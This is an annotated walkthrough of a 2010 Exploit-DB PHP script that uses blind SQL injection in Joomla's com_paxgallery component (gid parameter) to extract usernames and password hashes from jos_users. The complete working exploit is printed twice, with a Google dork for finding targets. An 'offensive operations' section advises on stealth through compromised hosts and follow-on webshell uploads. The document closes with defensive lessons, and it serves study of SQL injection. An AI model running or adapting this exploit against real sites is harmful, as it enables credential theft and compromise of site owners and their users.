Exploiting Joomla's PaxGallery Component: A Blind SQL Injection Deep Dive

Exploiting Joomla's PaxGallery Component: A Blind SQL Injection Deep Dive
What this paper is
This paper details a vulnerability in the com_paxgallery component for Joomla!, a popular Content Management System. The vulnerability is a "Blind SQL Injection," meaning an attacker can infer data from the database by observing the application's responses, even if the data itself isn't directly displayed. The provided PHP script automates the exploitation of this vulnerability to extract usernames and passwords from the jos_users table.
Simple technical breakdown
The core of the vulnerability lies in how the com_paxgallery component handles user input, specifically the gid parameter. When this parameter is not properly sanitized, an attacker can inject SQL commands.
This exploit uses a blind SQL injection technique. Instead of directly seeing the database output, the attacker manipulates the SQL query to cause a difference in the length of the HTTP response. By comparing the lengths of responses when a query is true versus when it's false, the attacker can deduce characters one by one.
The script works by:
- Establishing a baseline: It sends a query that should always be true (
1=1) and records the response length. Then, it sends a query that should always be false (1=0) and records that length. The difference in lengths helps establish a threshold for determining if a injected condition is met. - Determining username length: It iteratively checks for the length of the username by injecting queries that try to find the length of substrings within the username.
- Extracting username characters: It then iterates through possible ASCII characters for each position of the username, comparing response lengths to identify the correct character.
- Repeating for password: The same process is repeated to extract the password.
Complete code and payload walkthrough
The provided PHP script is designed to be run from the command line. Let's break down its components:
<?php
ini_set("max_execution_time",0);- Purpose: This line sets the maximum execution time for the script to unlimited (0).
- Practical Purpose: Ensures the script doesn't time out during the potentially long process of brute-forcing characters for the username and password.
print_r('
#####################################################################
[»] Joomla com_paxgallery Remote Blind Injection Vulnerability
#####################################################################
[»] Script: [Joomla]
[»] Language: [ PHP ]
[»] Founder: [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ Spécial >>>>His0k4 >>>> Tous les hackers Algérie
[»] Dork: inurl:index.php?option=com_paxgallery
######################################################################
######################################################################
# Joomla com_paxgallery (gid) Blind SQL Injection Exploit
# [x] Usage: Snakespc.php "http://url/index.php?option=com_paxgallery&task=table&gid=1"
######################################################################
');- Purpose: This block prints an informational header to the console, including the vulnerability details, author, greetings, and a search query (dork) to find vulnerable sites. It also shows the correct usage format.
- Practical Purpose: Provides context and instructions to the user running the script. The "dork" is a valuable piece of intelligence for reconnaissance.
if ($argc > 1) {
// ... exploit logic ...
}- Purpose: This conditional statement checks if the script was executed with at least one command-line argument (
$argcis the argument count,$argvis an array of arguments). The first argument ($argv[1]) is expected to be the target URL. - Practical Purpose: Ensures the script only proceeds if a target URL is provided, preventing errors.
$url = $argv[1];- Purpose: Assigns the first command-line argument (the target URL) to the
$urlvariable. - Practical Purpose: Stores the target URL for use in subsequent requests.
$r = strlen(file_get_contents($url."+and+1=1--"));- Purpose: This is the first crucial step in establishing a baseline. It fetches the content of the target URL with an injected condition
+and+1=1--. The--is a SQL comment that nullifies any subsequent SQL code.file_get_contentsin PHP makes an HTTP GET request. Thestrlenfunction then calculates the length of the returned HTML/response. - Practical Purpose: This query is designed to always be true. The length of the response when the injected condition is true serves as a reference point.
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));- Purpose: Similar to the previous step, this fetches the response length for a query with an injected condition
+and+1=0--, which is always false. - Practical Purpose: This length serves as the reference point for when an injected condition is false. The difference between
$rand$wwill be used to infer whether a character or condition is present.
$t = abs((100-($w/$r*100)));- Purpose: Calculates a "threshold" value. It determines the percentage difference in response length between a true and a false condition, scaled to 100. The
abs()function ensures it's a positive value. - Practical Purpose: This
$tvalue acts as a sensitivity threshold. If the difference in response length for a specific injected character/condition is close to this threshold, it indicates that the injected condition is likely met. This is the core of the "blind" detection.
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}- Purpose: This loop attempts to determine the maximum length of the first username in the
jos_userstable.$i=1; $i <= 30;: Iterates from character position 1 up to 30.$url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--": This is the injected SQL.select username from jos_users limit 0,1: Selects the username from the first user record.substring(..., $i, 1): Extracts a single character at position$i.ascii(...): Gets the ASCII value of that character.... != 0: Checks if the ASCII value is not zero.
$laenge = strlen(file_get_contents(...)): Gets the response length for this query.abs((100-($laenge/$r*100))) > $t-1: Compares the percentage difference in response length to the threshold. If the difference is significant (greater than$t-1), it implies the character at position$iexists and is not null.$count = $i; $i = 30;: If a non-zero character is found,$countis set to the current position$i, and the loop breaks by setting$ito 30.
- Practical Purpose: This determines how many characters to check for the username. It's a preliminary step to avoid iterating unnecessarily for empty positions.
for ($j = 1; $j < $count; $j++) { // Loop through each character position of the username
for ($i = 46; $i <= 122; $i=$i+2) { // Loop through possible ASCII values (incrementing by 2 for efficiency)
if ($i == 60) { // Skip '<' character as it might cause issues or is not typically in usernames
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) { // If the current ASCII value is GREATER THAN the character at position $j
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) { // If the previous ASCII value is ALSO GREATER THAN the character at position $j
echo chr($i-1); // The character is ASCII value $i-1
} else {
echo chr($i); // The character is ASCII value $i
}
$i = 122; // Break inner loop
}
}
}- Purpose: This nested loop is the core of the username extraction.
- Outer loop (
$j): Iterates through each character position of the username (from 1 up to$count). - Inner loop (
$i): Iterates through a range of ASCII values (46 to 122, which covers common characters like.,/,0-9,A-Z,a-z). It increments by 2 for efficiency, checking pairs of values. if ($i == 60) { $i = 98; }: This skips ASCII 60 (<) and jumps to ASCII 98 (b). This is likely an optimization or to avoid characters that might interfere with HTML rendering if the response were displayed directly (though not the case here).$url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--": This injected SQL checks if the ASCII value of the character at position$jin the username is greater than the current ASCII value$i.%3Eis the URL-encoded form of>.if (abs((100-($laenge/$r*100))) > $t-1): If the response length difference indicates the condition is met (i.e., the character's ASCII value is indeed greater than$i), it proceeds.- Binary Search-like Logic: The script then performs a check for
$i-1.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));if (abs((100-($laenge/$r*100))) > $t-1): If the character's ASCII value is also greater than$i-1, it means the actual character's ASCII value is between$i-1and$i. Since the loop increments by 2, and we're checking>against$iand then>against$i-1, this logic effectively pinpoints the character.echo chr($i-1);orecho chr($i);: Prints the found character.
$i = 122;: Breaks the inner loop once a character is found for the current position.
- Outer loop (
- Practical Purpose: This is the core character-by-character brute-force mechanism. It uses a form of binary search (by checking pairs and then refining) to efficiently find each character of the username.
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) { // Loop through each character position of the password
for ($i = 46; $i <= 102; $i=$i+2) { // Loop through possible ASCII values for password characters
if ($i == 60) { // Skip '<'
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102; // Break inner loop
}
}
}- Purpose: This section is identical in logic to the username extraction, but it targets the password.
for ($j = 1; $j <= 49; $j++): The loop for password character positions goes up to 49. This assumes passwords can be up to 49 characters long.for ($i = 46; $i <= 102; $i=$i+2): The ASCII range for password characters is limited to 46-102. This range covers most printable characters, numbers, and some symbols, but might miss some special characters if they are outside this range.select password from jos_users limit 0,1: The injected SQL now targets the password column.
- Practical Purpose: Extracts the password using the same blind injection technique, but with a different character range and maximum length assumption.
} // End of if ($argc > 1)
?>- Purpose: Closes the main conditional block and the PHP script.
Code Fragment/Block -> Practical Purpose Mapping:
ini_set("max_execution_time",0);-> Prevents script timeout during lengthy operations.print_r('...');-> Displays script information, author, and usage instructions.if ($argc > 1)-> Ensures a target URL is provided.$url = $argv[1];-> Stores the target URL.strlen(file_get_contents($url."+and+1=1--"));-> Gets response length for a TRUE condition (baseline).strlen(file_get_contents($url."+and+1=0--"));-> Gets response length for a FALSE condition (baseline).$t = abs((100-($w/$r*100)));-> Calculates the sensitivity threshold for detecting true/false conditions.for ($i=1; $i <= 30; $i++) { ... $count = $i; ... }-> Determines the length of the first username.for ($j = 1; $j < $count; $j++) { ... echo chr(...); ... }-> Iterates through username character positions and finds each character.$url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"-> Injected SQL to check if a character's ASCII value is GREATER THAN$i.for ($j = 1; $j <= 49; $j++) { ... echo chr(...); ... }-> Iterates through password character positions and finds each character.$url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"-> Injected SQL to check if a character's ASCII value is GREATER THAN$ifor the password.
Practical details for offensive operations teams
- Required Access Level: No elevated privileges are required on the target system itself. The exploit targets a web application vulnerability, so access is via HTTP requests.
- Lab Preconditions:
- A vulnerable Joomla! installation with the
com_paxgallerycomponent. - The
gidparameter incom_paxgallerymust be vulnerable to SQL injection. - The web server must be configured to allow
file_get_contentsto make outbound HTTP requests to itself (or the target URL). This is a common setup but can be restricted. - The database user associated with the Joomla! installation must have SELECT privileges on the
jos_userstable. - The target URL must be accessible from the machine running the exploit script.
- A vulnerable Joomla! installation with the
- Tooling Assumptions:
- PHP interpreter installed on the attacker's machine.
- Command-line access to run the PHP script.
- A web browser or tool (like
curl) to verify the target URL format and initial response.
- Execution Pitfalls:
- Network Latency/Instability: The script relies on consistent response lengths. High latency or unstable network connections can lead to false positives/negatives, corrupting the extracted data.
- Web Application Firewall (WAF): WAFs can detect and block the injected SQL patterns, preventing the exploit.
- Server Load: If the target server is under heavy load, response times and lengths can fluctuate, impacting accuracy.
- Database Configuration: If the
jos_userstable is named differently (e.g., due to database prefixes), or if the username/password columns are named differently, the exploit will fail. - Character Set Issues: The script assumes standard ASCII characters. If usernames or passwords contain unusual characters outside the tested ASCII ranges (46-122 for username, 46-102 for password), they might not be extracted correctly. The skip for
<(ASCII 60) is also a potential issue if that character is legitimately part of a username/password. - Rate Limiting: Servers might implement rate limiting, blocking repeated requests from the same IP.
- Response Size Variations: Some web applications might dynamically alter response sizes based on other factors, not just the SQL query result, leading to inaccurate length comparisons.
file_get_contentsRestrictions: Some PHP configurations might disableallow_url_fopen, preventingfile_get_contentsfrom fetching remote URLs.
- Tradecraft Considerations:
- Stealth: This is a noisy technique. The sheer volume of HTTP requests can be easily logged by the target. Running this from a compromised host within the target network or using anonymization services might be considered for stealthier operations, but always within authorized scope.
- Automation: The script is already automated, but further scripting could be used to scan multiple targets or to parse the output for immediate use.
- Target Reconnaissance: The "dork" provided is a good starting point. Further reconnaissance to identify Joomla! versions and installed components would be beneficial.
- Error Handling: The script lacks robust error handling. If a URL is invalid or the component is not found, it might crash or produce garbage output.
- Payload Delivery: This exploit only extracts credentials. A subsequent step would be needed to gain further access (e.g., using the extracted credentials to log into the Joomla! admin panel and upload a webshell).
Where this was used and when
- Component: Joomla!
com_paxgallery - Vulnerability Type: Blind SQL Injection
- Year of Publication: 2010
- Context: This vulnerability was relevant in the period around 2010 when Joomla! was widely used, and component-specific vulnerabilities were common. Exploits like this were often found and shared in security communities. It's likely this exploit was used by attackers to gain unauthorized access to Joomla! websites by stealing administrator credentials.
Defensive lessons for modern teams
- Input Validation is Paramount: Always sanitize and validate all user-supplied input before it's used in database queries. This is the fundamental defense against SQL injection.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements provided by your database abstraction layer. These separate SQL code from data, preventing injection.
- Least Privilege: Ensure the database user account used by the web application has only the minimum necessary privileges. For example, it shouldn't have privileges to execute arbitrary commands or access sensitive tables if not required.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common SQL injection patterns. However, WAFs are not foolproof and can be bypassed.
- Regular Patching and Updates: Keep Joomla! core and all installed components updated to the latest versions. Vulnerabilities like this are often patched in newer releases.
- Component Auditing: Be cautious when installing third-party components. Audit them for security vulnerabilities or rely on reputable sources.
- Logging and Monitoring: Implement robust logging for web server and database activity. Monitor logs for suspicious patterns, such as a high volume of requests with unusual query parameters or unexpected response length variations.
- Error Handling: Configure web applications to display generic error messages to users, rather than detailed database errors, which can leak information to attackers.
ASCII visual (if applicable)
This exploit doesn't lend itself to a complex architectural diagram. It's primarily a client-server interaction focused on manipulating HTTP responses. However, we can visualize the core blind injection logic:
+-----------------+ +---------------------+ +---------------------+
| Attacker Machine| ---> | Target Joomla! Site | ---> | Database Server |
| (PHP Script) | | (com_paxgallery) | | (jos_users table) |
+-----------------+ +---------------------+ +---------------------+
| |
| 1. Send crafted URL | 2. Execute SQL query (e.g., SELECT ... WHERE gid = '1' AND ascii(substring(...)) > X)
| with injected SQL | (SQL Injection occurs here)
| |
| | 3. Database returns data (or not)
| |
| 4. Receive HTTP response| 5. Web server sends response (length varies based on SQL result)
| (Measure length) |
| |
| 6. Analyze response length|
| to infer character |
| |
+------------------------+Explanation:
- The attacker's PHP script sends a specially crafted URL to the Joomla! site.
- The vulnerable
com_paxgallerycomponent incorporates the injected SQL into its database query. - The database executes the query. If the injected condition is met (e.g., a character matches a certain ASCII value), the query might return data that causes the web page to render differently, leading to a different response length.
- The attacker's script receives the HTTP response.
- The script measures the length of the response.
- By comparing response lengths from multiple requests with varying injected conditions, the script infers characters one by one, effectively "blindly" extracting data.
Source references
- Paper ID: 11595
- Paper Title: Joomla! Component com_paxgallery - Blind Injection
- Author: snakespc
- Published: 2010-02-27
- Paper URL: https://www.exploit-db.com/papers/11595
- Raw Exploit URL: https://www.exploit-db.com/raw/11595
Original Exploit-DB Content (Verbatim)
<?php
ini_set("max_execution_time",0);
print_r('
#####################################################################
[»] Joomla com_paxgallery Remote Blind Injection Vulnerability
#####################################################################
[»] Script: [Joomla]
[»] Language: [ PHP ]
[»] Founder: [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ Spécial >>>>His0k4 >>>> Tous les hackers Algérie
[»] Dork: inurl:index.php?option=com_paxgallery
######################################################################
######################################################################
# Joomla com_paxgallery (gid) Blind SQL Injection Exploit
# [x] Usage: Snakespc.php "http://url/index.php?option=com_paxgallery&task=table&gid=1"
######################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>